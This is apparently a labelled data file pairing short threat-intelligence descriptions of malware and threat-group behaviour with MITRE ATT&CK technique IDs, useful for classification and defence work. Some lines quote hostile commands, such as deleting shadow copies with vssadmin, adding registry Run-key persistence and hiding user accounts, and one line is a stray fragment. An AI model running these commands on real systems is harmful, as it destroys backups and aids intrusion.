Chimera has collected documents from the victim's SharePoint.,T1213.002
"Machete retrieves the user profile data (e.g., browsers) from Chrome and Firefox browsers.",T1217
"""Lazarus Group lnk files used for persistence have abused the Windows Update Client (""""wuauclt.exe"""") to execute a malicious DLL.""",T1218
Dark Caracal leveraged a compiled HTML file that contained a command to download and run an executable.,T1218.001
Lazarus Group has used CHM files to move concealed payloads.,T1218.001
Reaver drops and executes a malicious CPL file as its payload.,T1218.002
QakBot can use MSIExec to spawn multiple cmd.exe processes.,T1218.007
"""Cobalt Group has used """"odbcconf"""" to proxy the execution of malicious DLL files.""",T1218.008
Leviathan has used regsvr32 for execution.,T1218.010
More_eggs has used regsvr32.exe to execute the malicious DLL.,T1218.010
Squirrelwaffle has been executed using `regsvr32.exe`.,T1218.010
TA551 has used regsvr32.exe to load malicious DLLs.,T1218.010
ADVSTORESHELL has used rundll32.exe in a Registry value to establish persistence.,T1218.011
APT32 malware has used rundll32.exe to execute an initial infection process.,T1218.011
"""Bisonal has used rundll32.exe to execute as part of the Registry Run key it adds: """"HKEY_CURRENT_USER \Software\Microsoft\Windows\CurrentVersion\Run\""vert"" = ""rundll32.exe c:\windows\temp\pvcu.dll , Qszdez"""""".""",T1218.011
Heyoka Backdoor can use rundll32.exe to gain execution.,T1218.011
JHUHUGIT is executed using rundll32.exe.,T1218.011
Magic Hound has used rundll32.exe to execute MiniDump from comsvcs.dll when dumping LSASS memory.,T1218.011
Prikormka uses rundll32.exe to load its DLL.,T1218.011
Hancitor has used verclsid.exe to download and execute a malicious script.,T1218.012
Carbanak has a plugin for VNC and Ammyy Admin Tool.,T1219
"EVILNUM has used the malware variant, TerraTV, to run a legitimate TeamViewer application to connect to compromrised machines.",T1219
Cobalt Group used msxsl.exe to bypass AppLocker and to invoke Jscript code from an XSL file.,T1220
Inception has used decoy documents to load malicious remote payloads via HTTP.,T1221
CaddyWiper can modify ACL entries to take ownership of files.,T1222.001
APT32's macOS backdoor changes the permission of the file it wants to execute to 755.,T1222.002
BoomBox can check its current working directory and for the presence of a specific file and terminate if specific values are not found.,T1480
NativeZone can check for the presence of KM.EkeyAlmaz1C.dll and will halt execution unless it is in the same directory as the rest of the malware's components.,T1480
"InvisiMole can use Data Protection API to encrypt its components on the victim's computer, to evade detection, and to make sure the payload can only be decrypted and loaded on one specific compromised computer.",T1480.001
"""Chimera has """"nltest /domain_trusts"""" to identify domain trust relationships.""",T1482
Empire has modules for enumerating domain trusts.,T1482
"""Wizard Spider has used """"AdFind.exe"""" to collect information about Active Directory organizational units and trust objects.""",T1482
Indrik Spider has used Group Policy Objects to deploy batch scripts.,T1484.001
UNC2452 changed domain federation trust settings using Azure AD administrative permissions to configure the domain to accept authorization tokens signed by their own SAML signing certificate.,T1484.002
Diavol can delete specified files from a targeted system.,T1485
Gamaredon Group has used tools to delete files and folders from victims' desktops and profiles.,T1485
LAPSUS$ has deleted the target's systems and resources both on-premises and in the cloud.,T1485
Lazarus Group has used a custom secure delete function to overwrite file contents with data from heap memory.,T1485
StoneDrill has a disk wiper module that targets files other than those in the Windows directory.,T1485
FIN7 has encrypted virtual disk volumes on ESXi servers using a version of Darkside ransomware.,T1486
FIVEHANDS can use an embedded NTRU public key to encrypt data for ransom.,T1486
KillDisk has a ransomware component that encrypts files with an AES key that is also RSA-1028 encrypted.,T1486
NotPetya encrypts user files and disk structures like the MBR with 2048-bit RSA.,T1486
Pysa has used RSA and AES-CBC encryption algorithm to encrypt a list of targeted file extensions.,T1486
WastedLocker can encrypt data and leave a ransom note.,T1486
Avaddon looks for and attempts to stop database processes.,T1489
HermeticWiper has the ability to stop the Volume Shadow Copy service.,T1489
KillDisk terminates various processes to get the user to reboot the victim machine.,T1489
Pysa can stop services and processes.,T1489
"""BitPaymer attempts to remove the backup shadow files from the host using """"vssadmin.exe Delete Shadows /All /Quiet"""".""",T1490
"""Clop can delete the shadow volumes with """"vssadmin Delete Shadows /all /quiet"""" and can use bcdedit to disable recovery options.""",T1490
Conficker resets system restore points and deletes backup files.,T1490
H1N1 disable recovery options and deletes shadow copies from the victim.,T1490
"""MegaCortex has deleted volume shadow copies using """"vssadmin.exe"""".""",T1490
REvil can use vssadmin to delete volume shadow copies and bcdedit to disable recovery features.,T1490
"""Ragnar Locker can delete volume shadow copies using """"vssadmin delete shadows /all /quiet"""".""",T1490
"""TrickBot module """"Trickboot"""" can write or erase the UEFI/BIOS firmware of a compromised device.""",T1495
Blue Mockingbird has used XMRIG to mine cryptocurrency on victim systems.,T1496
Bisonal can check to determine if the compromised system is running on VMware.,T1497
Squirrelwaffle has contained a hardcoded list of IP addresses to block that belong to sandboxes and analysis platforms.,T1497
ObliqueRAT can halt execution if it identifies processes belonging to virtual machine software or analysis tools.,T1497.001
"""OopsIE performs several anti-VM and sandbox checks on the victim's machine. One technique the group has used was to perform a WMI query """"SELECT FROM MSAcpi_ThermalZoneTemperature"""" to check the temperature to see if it's running in a virtual environment.""",T1497.001
"RogueRobin uses WMI to check BIOS version for VBOX, bochs, qemu, virtualbox, and vm to check for evidence that the script might be executing within an analysis environment.",T1497.001
Shark can stop execution if the screen width of the targeted machine is not over 600 pixels.,T1497.001
"""SodaMaster can check for the presence of the Registry key """"HKEY_CLASSES_ROOT\\Applications\\VMwareHostOpen.exe"""" before proceeding to its main functionality.""",T1497.001
Spark has used a splash screen to check whether an user actively clicks on the screen before running malicious code.,T1497.002
"""Clop has used the """"sleep"""" command to avoid sandbox detection.""",T1497.003
"detection.""",T1497.003
EvilBunny has used time measurements from 3 different APIs before and after performing sleep operations to check and abort if the malware is running in a sandbox.,T1497.003
Lokibot has performed a time-based anti-debug check before downloading its third stage.,T1497.003
"In 2016, APT28 conducted a distributed denial of service (DDoS) attack against the World Anti-Doping Agency.",T1498
Deep Panda uses Web shells on publicly accessible Web servers to access victim networks.,T1505.003
"During Operation CuckooBees, the threat actors generated a web shell within a vulnerable Enterprise Resource Planning Web Application Server as a persistence mechanism.",T1505.003
Volatile Cedar can inject web shell code into a server.,T1505.003
DustySky lists all installed software for the infected machine.,T1518
Operation Wocao has collected a list of installed software on the infected system.,T1518
ShimRatReporter gathered a list of installed software on the infected host.,T1518
SpicyOmelette can enumerate running software on a targeted system.,T1518
Avenger has the ability to identify installed anti-virus products on a compromised host.,T1518.001
BadPatch uses WMI to enumerate installed security products in the victim's environment.,T1518.001
Carberp has queried the infected system's registry searching for specific registry keys associated with antivirus products.,T1518.001
Crimson contains a command to collect information about anti-virus software on the victim.,T1518.001
DustySky checks for the existence of anti-virus.,T1518.001
Ferocious has checked for AV software as part of its persistence process.,T1518.001
Kasidet has the ability to identify any anti-virus installed on the infected system.,T1518.001
Lizar can search for processes associated with an anti-virus product from list.,T1518.001
Metamorfo collects a list of installed antivirus software from the victim's system.,T1518.001
RogueRobin enumerates running processes to search for Wireshark and Windows Sysinternals suite.,T1518.001
StreamEx has the ability to scan for security tools such as firewalls and antivirus tools.,T1518.001
Stuxnet enumerates the currently running processes related to a variety of security products.,T1518.001
"TajMahal has the ability to identify which anti-virus products, firewalls, and anti-spyware products are in use.",T1518.001
VERMIN uses WMI to check for anti-virus software installed on the system.,T1518.001
ZxxZ can search a compromised host to determine if it is running Windows Defender or Kasperky antivirus.,T1518.001
AADInternals can steal users' access tokens via phishing emails containing malicious links.,T1528
Trojan.Mebromi performs BIOS modification and can download and execute a file as well as protect itself from removal.,T1542.001
"""Dok installs two LaunchAgents to redirect all network traffic with a randomly generated name for each plist file maintaining the format """"com.random.name.plist"""".""",T1543.001
"""OSX_OCEANLOTUS.D can create a persistence file in the folder """"/Library/LaunchAgents"""".""",T1543.001
"""ThiefQuest installs a launch item using an embedded encrypted launch agent property list template. The plist file is installed in the """"~/Library/LaunchAgents/"""" folder and configured with the path to the persistent binary located in the """"~/Library/"""" folder.""",T1543.001
Fysbis has established persistence using a systemd service.,T1543.002
APT3 has a tool that creates a new service for persistence.,T1543.003
AppleJeus can install itself as a service.,T1543.003
Carbanak malware installs itself as a service to provide persistence and SYSTEM privileges.,T1543.003
Cobalt Group has created new services to establish persistence.,T1543.003
Cobalt Strike can install a new service.,T1543.003
Dtrack can add a service called WBService to establish persistence.,T1543.003
"During Operation Honeybee, threat actors installed DLLs and backdoors as Windows services.",T1543.003
Gelsemium can drop itself in `C:\Windows\System32\spool\prtprocs\x64\winprint.dll` as an alternative Print Processor to be loaded automatically when the spoolsv Windows service starts.,T1543.003
GoldenSpy has established persistence by running in the background as an autostart service.,T1543.003
HermeticWiper can load drivers by creating a new service using the `CreateServiceW` API.,T1543.003
One persistence mechanism used by CozyCar is to register itself as a Windows service.,T1543.003
PipeMon can establish persistence by registering a malicious DLL as an alternative Print Processor which is loaded when the print spooler service starts.,T1543.003
PoisonIvy creates a Registry subkey that registers a new service. PoisonIvy also creates a Registry entry modifying the Logical Disk Manager service to point to a malicious DLL dropped to disk.,T1543.003
SILENTTRINITY can establish persistence by creating a new service.,T1543.003
SysUpdate can create a service to establish persistence.,T1543.003
TeamTNT has used malware that adds cryptocurrency miners as a service.,T1543.003
"""WannaCry creates the service """"mssecsvc2.0"""" with the display name """"Microsoft Security Center (2.0) Service.""""""",T1543.003
Green Lambert can add a plist file in the `Library/LaunchDaemons` to establish persistence.,T1543.004
"""LoudMiner adds plist files with the naming format """"com.[random_name].plist"""" in the """"/Library/LaunchDaemons"""" folder with the RunAtLoad and KeepAlive keys set to """"true"""".""",T1543.004
FIN8 has used WMI event subscriptions for persistence.,T1546.003
PoshC2 has the ability to persist on a system using WMI events.,T1546.003
RegDuke can persist using a WMI consumer that is launched every time a process named WINWORD.EXE is started.,T1546.003
netsh can be used as a persistence proxy technique to execute a helper DLL when netsh.exe is executed.,T1546.007
Axiom actors have been known to use the Sticky Keys replacement within RDP sessions to obtain persistence.,T1546.008
Deep Panda has used the sticky-keys technique to bypass the RDP login screen on remote systems during intrusions.,T1546.008
Fox Kitten has used sticky keys to launch a command prompt.,T1546.008
FIN7 has used application shim databases for persistence.,T1546.011
"""SUNBURST created an Image File Execution Options (IFEO) Debugger registry value for the process """"dllhost.exe"""" to trigger the installation of Cobalt Strike.""",T1546.012
"""BBSRAT has been seen persisting via COM hijacking through replacement of the COM object for MruPidlList """"{42aedc87-2188-41fd-b9a3-0c966feabec1}"""" or Microsoft WBEM New Event Subsystem """"{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}"""" depending on the system's CPU architecture.""",T1546.015
Ferocious can use COM hijacking to establish persistence.,T1546.015
JHUHUGIT has used COM hijacking to establish persistence by hijacking a class named MMDeviceEnumerator and also by registering the payload as a Shell Icon Overlay handler COM object ({3543619C-D563-43f7-95EA-4DA7E1CC396A}).,T1546.015
PcShare has created the `HKCU\\Software\\Classes\\CLSID\\{42aedc87-2188-41fd-b9a3-0c966feabec1}\\InprocServer32` Registry key for persistence.,T1546.015
Some variants of ADVSTORESHELL achieve persistence by registering the payload as a Shell Icon Overlay handler COM object.,T1546.015
WarzoneRAT can perform COM hijacking by setting the path to itself to the `HKCU\Software\Classes\Folder\shell\open\command` key with a `DelegateExecute` parameter.,T1546.015
"During AppleJeus's installation process, it uses `postinstall` scripts to extract a hidden plist from the application's `/Resources` folder and execute the `plist` file as a Launch Daemon with elevated permissions.",T1546.016
"Mis-Type has created registry keys for persistence, including `HKCU\Software\bkfouerioyou`, `HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{6afa8072-b2b1-31a8-b5c1-{Unique Identifier}`, and `HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{3BF41072-B2B1-31A8-B5C1-{Unique Identifier}`.",T1547
Carbanak stores a configuration files in the startup directory to automatically execute commands in order to persist across reboots.,T1547.001
Comnie achieves persistence by adding a shortcut of itself to the startup path in the Registry.,T1547.001
"FIN7 malware has created Registry Run and RunOnce keys to establish persistence, and has also added items to the Startup folder.",T1547.001
Flagpro has dropped an executable file to the startup directory.,T1547.001
FlawedAmmyy has established persistence via the `HKCU\SOFTWARE\microsoft\windows\currentversion\run` registry key.,T1547.001
Gorgon Group malware can create a .lnk file and add a Registry Run key to establish persistence.,T1547.001 | T1547.009
IcedID has established persistence by creating a Registry run key.,T1547.001
"""If establishing persistence by installation as a new service fails, one variant of Elise establishes persistence for the created .exe file by setting the following Registry key: """"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svchost : %APPDATA%\Microsoft\Network\svchost.exe"""". Other variants have set the following Registry keys for persistence: """"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\imejp : [self]"""" and """"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAStorD"""".""",T1547.001
If the QuasarRAT client process does not have administrator privileges it will add a registry key to `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` for persistence.,T1547.001
InvisiMole can place a lnk file in the Startup Folder to achieve persistence.,T1547.001
MoleNet can achieve persitence on the infected machine by setting the Registry run key.,T1547.001
Molerats saved malicious files within the AppData and Startup folders to maintain persistence.,T1547.001
"""MuddyWater has added Registry Run key """"KCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemTextEncoding"""" to establish persistence.""",T1547.001
"""Mustang Panda has created the registry key """"HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\AdobelmdyU"""" to maintain persistence.""",T1547.001
NETWIRE creates a Registry start-up entry to establish persistence.,T1547.001
Nebulae can achieve persistence through a Registry Run key.,T1547.001
Pisloader establishes persistence via a Registry Run key.,T1547.001
PowerDuke achieves persistence by using various Registry Run keys.,T1547.001
"""Ryuk has used the Windows command line to create a Registry entry under """"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"""" to establish persistence.""",T1547.001
"""SMOKEDHAM has used """"reg.exe"""" to create a Registry Run key.""",T1547.001
SharpStage has the ability to create persistence for the malware using the Registry autorun key and startup folder.,T1547.001
"""Taidoor has modified the """"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"""" key for persistence.""",T1547.001
"""The """"SCOUT"""" variant of NETEAGLE achieves persistence by adding itself to the """"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"""" Registry key.""",T1547.001
Ursnif has used Registry Run keys to establish automatic execution at system startup.,T1547.001
"""Cannon adds the Registry key """"HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"""" to establish persistence.""",T1547.004
Lazarus Group has rebooted victim machines to establish persistence by installing a SSP DLL.,T1547.005
Bazar can establish persistence by writing shortcuts to the Windows Startup folder.,T1547.009
FELIXROOT creates a .LNK file for persistence.,T1547.009
InvisiMole can use a .lnk shortcut for the Control Panel to establish persistence.,T1547.009
Green Lambert can add Login Items to establish persistence.,T1547.015
APT29 has bypassed UAC.,T1548.002
AutoIt backdoor attempts to escalate privileges by bypassing User Access Control.,T1548.002
BRONZE BUTLER has used a Windows 10 specific tool and xxmm to bypass UAC for privilege escalation.,T1548.002
Bad Rabbit has attempted to bypass UAC and gain elevated administrative privileges.,T1548.002
BlackEnergy attempts to bypass default User Access Control (UAC) settings by exploiting a backward-compatibility setting found in Windows 7 and later.,T1548.002
"Downdelph bypasses UAC to escalate privileges by using a custom ""RedirectEXE"" shim database.",T1548.002
Evilnum has used PowerShell to bypass UAC.,T1548.002
Gelsemium can bypass UAC to elevate process privileges on a compromised host.,T1548.002
Lokibot has utilized multiple techniques to bypass UAC.,T1548.002
Shamoon attempts to disable UAC remote restrictions by modifying the Registry.,T1548.002
"""Mimikatz's """"SEKURLSA::Pth"""" module can impersonate a user, with only a password hash, to execute arbitrary commands.""",T1550.002
APT3 has a tool that can locate credentials in files on the file system such as those from Firefox or Chrome.,T1552.001
Emotet has been observed leveraging a module that retrieves passwords stored on a system for the current logged-on user.,T1552.001
"If an initial connectivity check fails, pngdowner attempts to extract proxy details and credentials from Windows Protected Storage and from the IE Credentials Store. This allows the adversary to use the proxy credentials for subsequent requests if they enable outbound HTTP access.",T1552.001
MuddyWater has run a tool that steals passwords saved in victim email.,T1552.001
PoshC2 contains modules for searching for passwords in local and remote files.,T1552.001
TA505 has used malware to gather credentials from FTP clients and Outlook.,T1552.001
AADInternals can gather encryption keys from Azure AD services such as ADSync and Active Directory Federated Services servers.,T1552.004
FoggyWeb can retrieve token signing certificates and token decryption certificates from a compromised AD FS server.,T1552.004
jRAT can steal keys for VPNs and cryptocurrency wallets.,T1552.004
SILENTTRINITY has a module that can extract cached GPP passwords.,T1552.006
"""If running with elevated privileges, OSX/Shlayer has used the """"spctl"""" command to disable Gatekeeper protection for a downloaded file. OSX/Shlayer can also leverage system links pointing to bash scripts in the downloaded DMG file to bypass Gatekeeper, a flaw patched in macOS 11.3 and later versions. OSX/Shlayer has been Notarized by Apple, resulting in successful passing of additional Gatekeeper checks.""",T1553.001
"MacMa has removed the `com.apple.quarantineattribute` from the dropped file, `$TMPDIR/airportpaird`.",T1553.001
"For C0015, the threat actors used DLL files that had invalid certificates.",T1553.002
GALLIUM has used stolen certificates to sign its tools including those from Whizzimo LLC.,T1553.002
GreyEnergy digitally signs the malware with a code-signing certificate.,T1553.002
"Helminth samples have been signed with legitimate, compromised code signing certificates owned by software company AI Squared.",T1553.002
LockerGoga has been signed with stolen certificates in order to make it look more legitimate.,T1553.002
Stuxnet used a digitally signed driver with a compromised Realtek certificate.,T1553.002
The HermeticWiper executable has been signed with a legitimate certificate issued to Hermetica Digital Ltd.,T1553.002
Pandora can use CVE-2017-15303 to disable Windows Driver Signature Enforcement (DSE) protection and load its driver.,T1553.006
Turla has modified variables in kernel memory to turn off Driver Signature Enforcement after exploiting vulnerabilities that obtained kernel mode privileges.,T1553.006
Ebury has been embedded into modified OpenSSH binaries to gain persistent access to SSH credential information.,T1554
Kessel has maliciously altered the OpenSSH binary on targeted systems to create a backdoor.,T1554
APT29 used account credentials they obtained to attempt access to Group Managed Service Account (gMSA) passwords.,T1555
HEXANE has run `cmdkey` on victim machines to identify stored credentials.,T1555
"LaZagne can obtain credentials from databases, mail, and WiFi across multiple platforms.",T1555
"PinchDuke steals credentials from compromised hosts. PinchDuke's credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by PinchDuke include ones associated with many sources such as The Bat!, Yahoo!, Mail.ru, Passport.Net, Google Talk, and Microsoft Outlook.",T1555
QuasarRAT can obtain passwords from common FTP clients.,T1555
"Green Lambert can use Keychain Services API functions to find and collect passwords, such as `SecKeychainFindInternetPassword` and `SecKeychainItemCopyAttributesAndData`.",T1555.001
iKitten collects the keychains on the system.,T1555.001
APT3 has used tools to dump passwords from browsers.,T1555.003
Olympic Destroyer contains a module that tries to obtain stored credentials from web browsers.,T1555.003
SILENTTRINITY can collect clear text web credentials for Internet Explorer/Edge.,T1555.003
Zebrocy has the capability to upload dumper tools that extract credentials from web browsers and store them in database files.,T1555.003
KGH_SPY can collect credentials from the Windows Credential Manager.,T1555.004
Mimikatz contains functionality to acquire credentials from the Windows Credential Manager.,T1555.004
PowerSploit contains a collection of Exfiltration modules that can harvest credentials from Windows vault credential objects.,T1555.004
SILENTTRINITY can gather Windows Vault credentials.,T1555.004
Stealth Falcon malware gathers passwords from the Windows Credential Vault.,T1555.004
Skeleton Key is used to patch an enterprise domain controller authentication process with a backdoor password. It allows adversaries to bypass the standard authentication system to use a defined password for all accounts authenticating to that domain controller.,T1556.001
PoshC2 can use Inveigh to conduct name service poisoning for credential theft and associated relay attacks.,T1557.001
Cleaver has used custom tools to facilitate ARP cache poisoning.,T1557.002
Mimikatz's kerberos module can create silver tickets.,T1558.002
"During Operation Wocao, threat actors used PowerSploit's `Invoke-Kerberoast` module to request encrypted service tickets and bruteforce the passwords of Windows service accounts offline.",T1558.003
"""Empire uses PowerSploit's """"Invoke-Kerberoast"""" to request service tickets and return crackable ticket hashes.""",T1558.003
SILENTTRINITY contains a module to conduct Kerberoasting.,T1558.003
Bumblebee can use a COM object to execute queries to gather system information.,T1559.001
TrickBot used COM to setup scheduled task for persistence.,T1559.001
Ramsay has been delivered using OLE objects in malicious documents.,T1559.002
"After collecting documents from removable media, Prikormka compresses the collected files, and encrypts it with Blowfish.",T1560
Pillowmint has encrypted stolen credit card information with AES and further encoded it with Base64.,T1560
APT33 has used WinRAR to compress data prior to exfil.,T1560.001
AppleSeed can zip and encrypt data collected on a target system.,T1560.001
"CORALDECK has created password-protected RAR, WinImage, and zip archives to be exfiltrated.",T1560.001
Magic Hound has used gzip to archive dumped LSASS process memory and RAR to stage and compress local folders.,T1560.001
Okrum was seen using a RAR archiver tool to compress/decompress data.,T1560.001
Rclone can compress files using `gzip` prior to exfiltration.,T1560.001
Turla has encrypted files stolen from connected USB drives into a RAR file before exfiltration.,T1560.001
BBSRAT can compress data with ZLIB prior to sending it back to the C2 server.,T1560.002
FunnyDream has compressed collected files with zLib.,T1560.002
Attor encrypts collected data with a custom implementation of Blowfish and RSA ciphers.,T1560.003
"FIN6 has encoded data gathered from the victim with a simple substitution cipher and single-byte XOR using the 0xAA key, and Base64 with character permutation.",T1560.003
FrameworkPOS can XOR credit card information before exfiltration.,T1560.003
Kimsuky has used RC4 encryption before exfil.,T1560.003
OSX_OCEANLOTUS.D scrambles and encrypts data using AES256 before sending it to the C2 server.,T1560.003
RawPOS encodes credit card data it collected from the victim with XOR.,T1560.003
T9000 encrypts collected data using a single byte XOR key.,T1560.003
"Lazarus Group has used malware like WhiskeyAlfa to overwrite the first 64MB of every drive with a mix of static and random buffers. A similar process is then used to wipe content in logical drives and, finally, attempt to wipe every byte of every sector on every drive. WhiskeyBravo can be used to overwrite the first 4.9MB of physical drives. WhiskeyDelta can overwrite the first 132MB or 1.5MB of each drive with random data from heap memory.",T1561.001
RawDisk was used in Shamoon to help overwrite components of disk structure like the MBR and disk partitions.,T1561.002
StoneDrill can wipe the master boot record of an infected computer.,T1561.002
"Tarrask is able to create ""hidden"" scheduled tasks by deleting the Security Descriptor (`SD`) registry value.",T1564
BackConfig has the ability to set folders or files to be hidden from the Windows Explorer default view.,T1564.001
"CoinTicker downloads the following hidden files to evade detection and maintain persistence: /private/tmp/.info.enc, /private/tmp/.info.py, /private/tmp/.server.sh, ~/Library/LaunchAgents/.espl.plist, ~/Library/Containers/.[random string]/[random string].",T1564.001
"""Kimsuky has run """"reg add 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList' /v"""" to hide a newly created user.""",T1564.002
"""APT19 used """"-W Hidden"""" to conceal PowerShell windows by setting the WindowStyle parameter to hidden.""",T1564.003
"""Astaroth loads its module with the XSL script parameter """"vShow"""" set to zero, which opens the application with a hidden window.""",T1564.003
HotCroissant has the ability to hide the window for operations performed on a given file.,T1564.003
Magic Hound malware has a function to determine whether the C2 server wishes to execute the newly dropped file in a hidden window.,T1564.003
PowerShower has added a registry key so future powershell.exe instances are spawned with coordinates for a window position off-screen by default.,T1564.003
StrongPity has the ability to hide the console window for its document search module from the user.,T1564.003
WindTail can instruct the OS to execute an application without a dock icon or menu.,T1564.003
Equation has used an encrypted virtual file system stored in the Windows Registry.,T1564.005
"LoudMiner has used QEMU and VirtualBox to run a Tiny Core Linux virtual machine, which runs XMRig and makes connections to the C2 server for updates.",T1564.006
"Maze operators have used VirtualBox and a Windows 7 virtual machine to run the ransomware; the virtual machine's configuration file mapped the shared network drives of the target company, presumably so Maze can encrypt files on the shared drives as well as the local machine.",T1564.006
"LightNeuron is capable of modifying email content, headers, and attachments during transit.",T1565.002
APT33 has sent spearphishing e-mails with archive attachments.,T1566.001
AppleSeed has been distributed to victims through malicious e-mail attachments.,T1566.001
Clambling has been delivered to victim's machines through malicious e-mail attachments.,T1566.001
Confucius has crafted and sent victims malicious attachments to gain initial access.,T1566.001
Darkhotel has sent spearphishing emails with malicious RAR and .LNK attachments.,T1566.001
"During Frankenstein, the threat actors likely used spearphishing emails to send malicious Microsoft Word documents.",T1566.001
"FIN4 has used spearphishing emails containing attachments (which are often stolen, legitimate documents sent from compromised accounts) with embedded malicious macros.",T1566.001
LazyScripter has used spam emails weaponized with archive or document files as its initial infection vector.,T1566.001
Mustang Panda has used spearphishing attachments to deliver initial access payloads.,T1566.001
Naikon has used malicious e-mail attachments to deliver malware.,T1566.001
REvil has been distributed via malicious e-mail attachments including MS Word Documents.,T1566.001
Ramsay has been distributed through spearphishing emails with malicious attachments.,T1566.001
Saint Bot has been distributed as malicious attachments within spearphishing emails.,T1566.001
Sidewinder has sent e-mails with malicious attachments often crafted for specific targets.,T1566.001
Taidoor has been delivered through spearphishing emails.,T1566.001
Threat Group-3390 has used e-mail to deliver malicious attachments to victims.,T1566.001
WIRTE has sent emails to intended victims with malicious MS Word and Excel attachments.,T1566.001
APT1 has sent spearphishing emails containing hyperlinks to malicious files.,T1566.002
APT29 has used spearphishing with a link to trick victims into clicking on a link to a zip file containing malicious files.,T1566.002
APT3 has sent spearphishing emails containing malicious links.,T1566.002
"During Operation Spalax, the threat actors sent phishing emails to victims that contained a malicious link.",T1566.002
Emotet has been delivered by phishing emails containing links.,T1566.002
Evilnum has sent spearphishing emails containing a link to a zip file hosted on Google Drive.,T1566.002
FIN4 has used spearphishing emails (often sent from compromised accounts) containing malicious links.,T1566.002
FIN8 has distributed targeted emails containing links to malicious documents with embedded macros.,T1566.002
Mustang Panda has delivered web bugs and malicious links to their intended targets.,T1566.002
NETWIRE has been spread via e-mail campaigns utilizing malicious links.,T1566.002
"Patchwork has used spearphishing with links to deliver files with exploits to initial victims. The group has also used embedded image tags (known as web bugs) with unique, per-recipient tracking links in their emails for the purpose of identifying which recipients opened messages.",T1566.002
Pony has been delivered via spearphishing emails which contained malicious links.,T1566.002
Valak has been delivered via malicious links in e-mail.,T1566.002
Dark Caracal spearphished victims via Facebook and Whatsapp.,T1566.003
BoxCaon has the capability to download folders' contents on the system and upload the results back to its Dropbox drive.,T1567.002
Crutch has exfiltrated stolen data to Dropbox.,T1567.002
"HAFNIUM has exfiltrated data to file sharing sites, including MEGA.",T1567.002
HAMMERTOSS exfiltrates data by uploading it to accounts created by the actors on Web cloud storage providers for the adversaries to retrieve later.,T1567.002
Kimsuky has exfiltrated stolen files and data to actor-controlled Blogspot accounts.,T1567.002
Octopus has exfiltrated data to file sharing sites.,T1567.002
Threat Group-3390 has exfiltrated stolen data to Dropbox.,T1567.002
"For Operation Dust Storm, the threat actors used dynamic DNS domains from a variety of free providers, including No-IP, Oray, and 3322.",T1568
Transparent Tribe has used dynamic DNS services to set up C2.,T1568
menuPass has used dynamic DNS service providers to host malicious domains.,T1568.001
APT41 has used DGAs to change their C2 servers monthly.,T1568.002
Aria-body has the ability to use a DGA for C2 communications.,T1568.002
POSHSPY uses a DGA to derive command and control URLs from a word list.,T1568.002
"BBSRAT can start, stop, or delete services.",T1569.002
"""Blue Mockingbird has executed custom-compiled XMRIG miner DLLs by configuring them to execute via the """"wercplsupport"""" service.""",T1569.002
Microsoft Sysinternals PsExec is a popular administration tool that can be used to execute binaries on remote systems using a temporary Windows service.,T1569.002
Pandora has the ability to install itself as a Windows service.,T1569.002
Pysa has used PsExec to copy and execute the ransomware.,T1569.002
Ragnar Locker has used sc.exe to execute a service that it creates.,T1569.002
SLOTHFULMEDIA has the capability to start services.,T1569.002
Silence has used Winexe to install a service on the remote system.,T1569.002
"gh0st RAT can execute its service if the Service key exists. If the key does not exist, gh0st RAT will create and run the service.",T1569.002
xCmd can be used to execute binaries on remote systems by creating and starting a service.,T1569.002
Operators deploying Netwalker have used psexec to copy the Netwalker payload across accessible systems.,T1570
"During Operation Wocao, the threat actors used uncommon high ports for its backdoor C2, including ports 25667 and 470000.",T1571
MacMa has used TCP port 5633 for C2 Communication.,T1571
"MoonWind communicates over ports 80, 443, 53, and 8080 via raw sockets instead of the protocols usually associated with the ports.",T1571
PingPull can use HTTPS over port 8080 for C2.,T1571
"RedLeaves can use HTTP over non-standard ports, such as 995, for C2.",T1571
SUGARUSH has used port 4585 for a TCP connection to its C2.,T1571
Silence has used port 444 when sending data about the system from the client to the server.,T1571
Some TrickBot samples have used HTTP over ports 447 and 8082 for C2. Newer versions of TrickBot have been known to use a custom communication protocol which sends the data unencrypted over port 443.,T1571
StrongPity has used HTTPS over port 1402 in C2 communication.,T1571
ZxShell can use ports 1985 and 1986 in HTTP/S communication.,T1571
FLIPSIDE uses RDP to tunnel traffic from a victim environment.,T1572
FunnyDream can connect to HTTP proxies via TCP to create a tunnel to C2.,T1572
Leviathan has used protocol tunneling to further conceal C2 communications and infrastructure.,T1572
MacMa has used TLS encryption to initialize a custom protocol for C2 communications.,T1573
3PARA RAT command and control commands are encrypted within the HTTP C2 channel using the DES algorithm in CBC mode with a key derived from the MD5 hash of the string HYF54&%9&jkMCXuiS. 3PARA RAT will use an 8-byte XOR key derived from the string HYF54&%9&jkMCXuiS if the DES decoding fails,T1573.001
4H RAT obfuscates C2 communication using a 1-byte XOR with the key 0xBE.,T1573.001
BendyBear communicates to a C2 server over port 443 using modified RC4 and XOR-encrypted chunks.,T1573.001
CharmPower can send additional modules over C2 encrypted with a simple substitution cipher.,T1573.001
Downdelph uses RC4 to encrypt C2 responses.,T1573.001
Hi-Zor encrypts C2 traffic with a double XOR using two distinct single-byte keys.,T1573.001
HotCroissant has compressed network communications and encrypted them with a custom stream cipher.,T1573.001
Hydraq C2 traffic is encrypted using bitwise NOT and XOR operations.,T1573.001
Inception has encrypted network communications with AES.,T1573.001
InvisiMole uses variations of a simple XOR encryption routine for C&C communications.,T1573.001
KONNI has used AES to encrypt C2 traffic.,T1573.001
PipeMon communications are RC4 encrypted.,T1573.001
QakBot can RC4 encrypt strings in C2 communication.,T1573.001
SMOKEDHAM has encrypted its C2 traffic with RC4.,T1573.001
SNUGRIDE encrypts C2 traffic using AES with a static key.,T1573.001
